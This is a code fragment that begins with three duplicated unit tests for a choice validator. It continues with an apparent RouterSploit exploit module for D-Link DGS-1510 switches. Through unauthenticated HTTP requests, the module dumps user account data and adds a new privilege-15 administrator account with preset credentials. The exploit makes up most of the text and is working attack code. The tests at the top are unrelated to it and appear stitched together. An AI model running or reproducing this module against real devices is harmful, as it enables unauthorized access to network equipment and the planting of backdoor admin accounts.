def test_choice_3(self): valid_values = ["test1", "test2"] selected_value = "Test1" with self.assertRaises(OptionValidationError): validators.choice(valid_values)(selected_value)
def test_choice_1(self): valid_values = ["test1", "test2"] selected_value = "test1" self.assertEqual(validators.choice(valid_values)(selected_value), selected_value)
def test_choice_1(self): valid_values = ["test1", "test2"] selected_value = "test1" self.assertEqual( validators.choice(valid_values)(selected_value), selected_value)
class Exploit(exploits.Exploit): """ D-Link DGS-1510-28XMP, DGS-1510-28X, DGS-1510-52X, DGS-1510-52, DGS-1510-28P, DGS-1510-28, and DGS-1510-20 Websmart devices with firmware before 1.31.B003 allow attackers to conduct Unauthenticated Information Disclosure attacks via unspecified vectors. """ __info__ = { 'name': 'D-Link DGS-1510 User Information Disclosure', 'description': 'D-Link DGS-1510-28XMP, DGS-1510-28X, DGS-1510-52X, DGS-1510-52, DGS-1510-28P, DGS-1510-28 and DGS-1510-20 ' 'Websmart devices with firmware before 1.31.B003 allow attackers to conduct Unauthenticated Information Disclosure ' 'attacks via unspecified vectors.', 'authors': [ 'Varang Amin', # vulnerability discovery 'Dino Causevic' # routersploit module ], 'references': [ 'https://www.exploit-db.com/exploits/41662/', ], 'devices': [ 'D-Link DGS-1510-28XMP', 'D-Link DGS-1510-28X', 'D-Link DGS-1510-52X', 'D-Link DGS-1510-52', 'D-Link DGS-1510-28P', 'D-Link DGS-1510-28', 'D-Link DGS-1510-20' ], } information_disclosure_actions = { "user_info": { "url": "{}:{}/DataStore/990_user_account.js?index=0&pagesize=10", "headers": { "Connection": "keep-alive", "Accept": "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.59 Safari/537.36", "Referer": "{}:{}/www/login.html", "Accept-Encoding": "gzip, deflate, sdch", "Accept-Language": "en-US,en;q=0.8", "Cookie": "Language=en" } }, "user_add": { "url": "{}:{}/form/User_Accounts_Apply", "body": "action=0&username={}&privilege=15&type=0&password={}", "headers": { "Connection": "keep-alive", "Cache-Control": "max-age=0", "Origin": "{}:{}/", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.51 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Referer": "{}:{}/www/login.html", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.8" } } } target = exploits.Option('http://192.168.1.1', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address action = exploits.Option('user_info', 'Information to retrieve like user information or adding new user. ' 'Valid actions {}.'.format(information_disclosure_actions.keys()), validators=validators.choice(information_disclosure_actions.keys())) port = exploits.Option(80, 'Target port') # default port username = exploits.Option('dlinkuser', 'User to add in case that user_add option is used.') password = exploits.Option('dlinkpwd1234', 'Password for user in case that user_add option is used.') response_content = None def decompress(self, content, encoding): ret = content if encoding == 'gzip': ret = gzip.GzipFile(fileobj=StringIO(ret)).read() elif encoding == 'deflate': decompress = zlib.decompressobj(-zlib.MAX_WBITS) inflated = decompress.decompress(ret) inflated += decompress.flush() ret = inflated return ret.replace("\n", "") def parse_print(self, content): if self.action == "user_info": m_groups = re.match(r'(.*)UserInfo.=.([^;]*)(.*)', content, re.I | re.M) if m_groups and m_groups.groups > 2: print_table(("User Info", ), (m_groups.group(2), )) else: # Print something, in case that formats vary over models # maybe regex will not work and we don't want to leave # users without information print_table(("User Info", ), (content, )) elif self.action == "user_add": print_success("User {} with password {} created.".format(self.username, self.password)) def validate_response(self, content): validate_regex = None if not content: return False if self.action == "user_info": validate_regex = re.match(r'(.*)(UserInfo|user_count|var(.*))(.*);', content, re.I | re.M) return True if validate_regex else False elif self.action == "user_add": self.action = "user_info" check = self.check() self.action = "user_add" return check and self.username in self.response_content return False def run(self): if self.check(): print_success("Target appears to be vulnerable") self.parse_print(self.response_content) else: print_error("Exploit failed - target seems to be not vulnerable") @mute def check(self): body = None response = None url = self.information_disclosure_actions[self.action]['url'].format(self.target, self.port) headers = self.information_disclosure_actions[self.action]['headers'] headers['Referer'] = headers['Referer'].format(self.target, self.port) if self.action == "user_add": headers['Origin'] = headers['Origin'].format(self.target, self.port) body = self.information_disclosure_actions[self.action]['body'].format(self.username, self.password) response = http_request(method="POST", url=url, headers=headers, data=body) elif self.action == "user_info": response = http_request(method="GET", url=url, headers=headers) if response is not None and response.status_code == 200: self.response_content = self.decompress(response.content, response.headers.get('content-encoding', None)) return self.validate_response(self.response_content) # target is vulnerable return False # target is not vulnerable